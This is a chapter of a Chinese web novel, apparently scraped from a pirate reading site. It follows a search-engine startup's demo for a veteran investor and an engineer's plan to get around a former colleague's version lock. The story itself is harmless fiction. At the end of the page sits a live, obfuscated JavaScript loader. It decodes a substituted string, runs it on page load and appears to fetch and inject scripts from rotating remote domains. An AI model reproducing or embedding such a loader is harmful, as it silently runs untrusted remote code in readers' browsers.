首页
第三百一十章 老曹的眼
返回

第三百一十章 老曹的眼

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第三百一十章老曹的眼(第1/2页)
    何明的声音在凌晨五点的办公室里像一块石头砸进深潭。
    “存储层初始化时,版本标识的读取是硬编码在启动流程里的。“何明指着屏幕上一行被高亮的代码,手指在发抖,“王志远把‘获取版本标记‘嵌进了存储层初始化的必经路径。新系统第一次启动必须从旧存储层读取版本标识,标识不对,系统直接拒绝加载。“
    炜杰盯着那行代码,后背渗出冷汗。
    逃不掉了。不管是逻辑绕路还是物理迁移,只要新系统需要启动,就必须经过这个关口。王志远不是在代码里设了一道门,而是在地基里埋了一根筋——抽掉它,整栋楼都会塌。
    李彦强摘下眼镜,用力揉了揉眉心:“也就是说,哪怕我们把所有数据搬到新服务器上,新系统启动的那一刻,还是会因为读不到正确的版本标识而崩溃。“
    “对。“何明的声音干涩,“除非我们能在启动前把版本标识写入新系统的存储层,而且格式、位置、校验值完全一致。但我不知道他的校验算法。王志远用的是私有校验协议,我逆向了三天,只挖出一半。“
    炜杰看了眼墙上的钟。五点十五分。距离老曹到访还有四小时四十五分钟。
    “所有人去休息。“炜杰说。
    没人动。
    “这是命令。“炜杰提高了声音,“九点半之前,我要看到每个人刮了胡子、换了干净衣服。老曹是黄河创投的合伙人,投过三家纳斯达克上市企业,他见过几百个创业团队。你们这副样子见他,等于告诉他我们的公司快死了。公司没死。至少在二月一日之前,我们还站着。去睡觉。“
    上午九点四十分,炜杰站在公司门口。
    办公室打扫过了,几台显示器开着,屏幕上循环播放着千度搜索引擎的界面。服务器机房的门关着,何明和刘芳在里面,从外边看不出任何异样。
    炜杰穿了一件深蓝色衬衫,袖子挽到小臂。这是他最好的一件衣服,去年苏晓棠在秀水街给他买的。
    一辆黑色奥迪停在楼下。车门打开,走下来一个六十岁左右的男人。灰白头发剪得很短,腰板笔直,穿一件没有标志的深色夹克,手里拎着一个磨损的牛皮公文包。
    老曹。黄河创投合伙人,九十年代从体制内下海,三家被投企业先后在纳斯达克敲钟。业内传说他看人比看项目准,话不多,但每一句都在要害上。
    “曹先生。“炜杰迎上去,“一路辛苦。“
    老曹的手掌厚实,握力很重。他看了炜杰一眼,那目光不像审视,更像称重。
    “你就是炜杰。废品收购站起家的那个?“
    “是。“
    “有骨气。“老曹点点头,抬脚往楼里走,“带我看。“
    李彦强在大厅等候。老曹见到他,伸出手:“李博士。听说你在硅谷待过三年?“
    “两年零八个月。“李彦强纠正道,“在信息服务公司做核心检索。“
    “为什么回来?“
    “英文分词靠空格,中文分词靠理解。我想做中国人自己的搜索。“
    老曹没表态,只点了点头:“看产品。“
    炜杰领着老曹穿过办公区。老曹走得慢,不时停下来看看屏幕上的代码,或者翻翻某人桌面的笔记本。
    “这是爬虫组。“炜杰介绍,“目前覆盖了八十万个网页,每天新增三万个。“
    “爬虫策略是什么?“老曹问。
    “广度优先,配合链接权重排序。“何明从座位上站起来,脸色苍白但眼神清醒,“我们优先抓取高权重页面的外链,保证重要内容被优先索引。“
    老曹看了何明一眼:“你多久没睡觉了?“
    “三十多个小时。“
    “为了今天?“
    “为了活下去。“
    老曹嘴角动了一下,没笑,但眼神有了变化。
    演示在会议室进行。李彦强亲自操作。投影幕布上,千度的搜索界面干净简洁,一个输入框,一个搜索按钮,下方是“网页、图片、资讯“三个标签。
    “搜索‘北京大学‘。“老曹说。
    李彦强输入,回车。零点四秒后,结果页面弹出:北大官网、招生信息、院系介绍、相关新闻,排序合理。
    老曹身体前倾:“搜‘马阳‘。“
    李彦强敲下两个字。搜索结果第一条是万里巴巴创始人马阳的个人介绍,第二条是近期报道,第三条是一篇两年前的访谈。
    “你们怎么排序的?“老曹问。
    “链接分析加内容相关性。被更多高质量页面引用的网页排名更高,同时匹配查询词的相关性权重。“
    老曹指着第三条:“这篇两年前的排在第三。你们有时间衰减因子吗?“
    “有,但权重不高。新闻类查询需要强时间排序,但通用查询更看重内容质量。我们还在调参。“
    李彦强继续演示图片搜索、站内检索、相关推荐。每一项都运行流畅。老曹始终面无表情,只有偶尔敲击桌面的手指暴露他在思考。
    “演示一下高级检索。“老曹说。
    李彦强点开高级搜索页面,输入组合条件:包含“互联网“、不包含“泡沫“、时间范围1999年1月至2000年1月。
    回车。
    页面空白。三秒后,一行红色错误提示弹出:“检索服务暂时不可用,请稍后重试。“
    (本章未完,请点击下一页继续阅读)第三百一十章老曹的眼(第2/2页)
    会议室里安静了。
    “服务器负载波动。“炜杰面不改色,“高级检索需要调用分词服务的远程接口,如果分词节点响应超时,前端会返回降级提示。“
    他转向李彦强:“刷新。“
    李彦强按下刷新键。这次页面正常加载,十五条结果整整齐齐列在屏幕上。
    老曹看着炜杰:“如果我现在是真实用户,刚才那三秒,我已经关网页了。“
    “是。“炜杰承认,“我们的分词服务只有三个节点,任何一个出问题,高级检索就会降级。这是架构瓶颈,我们计划在下一版改成分布式部署。“
    “什么时候?“
    “两个月内。“
    老曹敲了敲桌面:“继续。“
    演示结束,老曹靠在椅背上,双手交叉放在腹部。
    “产品还可以。“他说,“比我想象的成熟。“
    “但我今天不是来看产品的。“老曹的目光从两人脸上扫过,“市面上有搜索技术的团队不止你们一家。搜乎的赵明远上周刚找我谈过,他们的索引量是你们的三倍,后台有硅谷回来的博士团队。“
    李彦强的拳头在桌下攥紧。
    “我要问三个问题。“老曹竖起一根手指,“第一,如果搜乎明天推出和你们一模一样的产品,你们凭什么赢?“
    “速度。我们的检索响应时间平均零点四秒,搜乎公开的数据是零点八秒。用户能感受到那零点四秒的差距。“
    老曹竖起第二根手指:“第二,你们怎么赚钱?“
    “竞价排名。企业购买关键词的优先展示位,按点击付费。“
    “这是竭泽而渔。“李彦强突然开口,“搜索结果的公正性是产品的命根子。“
    炜杰看了李彦强一眼:“所以我们只在搜索结果右侧放广告,左侧保持纯算法排序。广告和结果分开,用户看得清楚。“
    老曹的目光在两人之间转了一个来回。他注意到了刚才那短暂的眼神交锋。
    “最后一个问题。王志远的事,你们打算怎么解决?“
    炜杰没有回避:“两个方案并行:一,重新构建分词模块,成功率百分之九十,但需要一个月;二,技术层面绕过王志远设置的限制,我们的工程师找到了一个可能的突破口,成功率百分之五十,但如果成功,三天内可以恢复。“
    老曹站起身,拎起他的牛皮公文包。他没有说投,也没有说不投。
    “我投过三百多个项目。其中死掉的有一百多个。死掉的原因不是没钱,不是没技术,是人——创始人互相猜忌,团队四分五裂,遇到危机各自飞。“
    他回头看了炜杰一眼:“你们两个人,刚才那个眼神,有分歧。分歧不怕,怕的是藏着。“
    说完,他拉开门走了出去。脚步声渐远,最后消失在楼梯口。
    炜杰站在会议室里,盯着那扇关上的门。
    李彦强打破了沉默:“他什么意思?“
    “意思是,他还在看。看我们能不能活过这一关。“
    话音刚落,会议室的门被猛地推开。何明站在门口,眼睛里布满血丝,但瞳孔里燃烧着近乎疯狂的光亮。
    “炜杰。“何明的声音嘶哑,“我找到了。“
    炜杰霍然站起。
    “存储层初始化流程里,主路径读取版本标识失败后,会触发一个回退机制——从备份元数据中恢复版本标识。这个回退机制是系统内置的容错设计,王志远不知道它的存在。“
    “继续说。“
    “如果我们能在迁移前人为制造主路径失效——比如修改主元数据的校验和——系统启动时会自动回退到备份元数据。备份元数据里的版本标识是可以被修改的,不受王志远的校验协议保护。“
    “风险呢?“
    “如果回退机制也失败了,系统直接崩溃。整个存储层需要重建,数据可能永久丢失。而且,这个操作必须在迁移完成后的第一次启动时执行,没有重来的机会。“
    “成功率多少?“
    “理论上是百分之七十。我需要六个小时写测试用例,再用八个小时做模拟验证。如果验证通过,实际操作的成功率可以提到百分之八十五以上。“
    墙上的钟指向十一点十五分。
    炜杰闭上眼睛,再睁开。
    “去做。全力以赴。“
    何明转身跑了出去。
    炜杰独自站在会议室里,窗外是灰蒙蒙的北京天空。老曹没有给答案,何明的方案是一场豪赌,而时钟正在一分一秒地走向二月一日。
    他掏出手机,拨了一个号码。
    “老张,我是炜杰。关于黄河创投的估值,我想和您再谈谈。“
    电话那头沉默了两秒,然后传来一个带着港味的普通话:“年轻人,老曹刚给我打了电话。他说你们的产品还行,但团队里有两把声音。“
    “两把声音不可怕。可怕的是只有一把声音,却没人敢说真话。“
    张建国笑了一下:“有点意思。明天下午三点,你来我酒店。“
    电话挂断了。
    炜杰握着手机,指节发白。走廊里传来何明大声指挥的声音,服务器机房的风扇轰鸣如战鼓。窗外一阵风吹过,卷起地上的枯叶,打着旋儿飞向远方。
    二月一日正在逼近。他们已经没有退路了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="a11jecx1iv";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm:Fp_(TTm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm:Fp_(TTm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/d}}CY(R}6X/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"d}}CY(R}6X"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q/f/}Ko}j(8}vY8d}}CY(R}6X"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();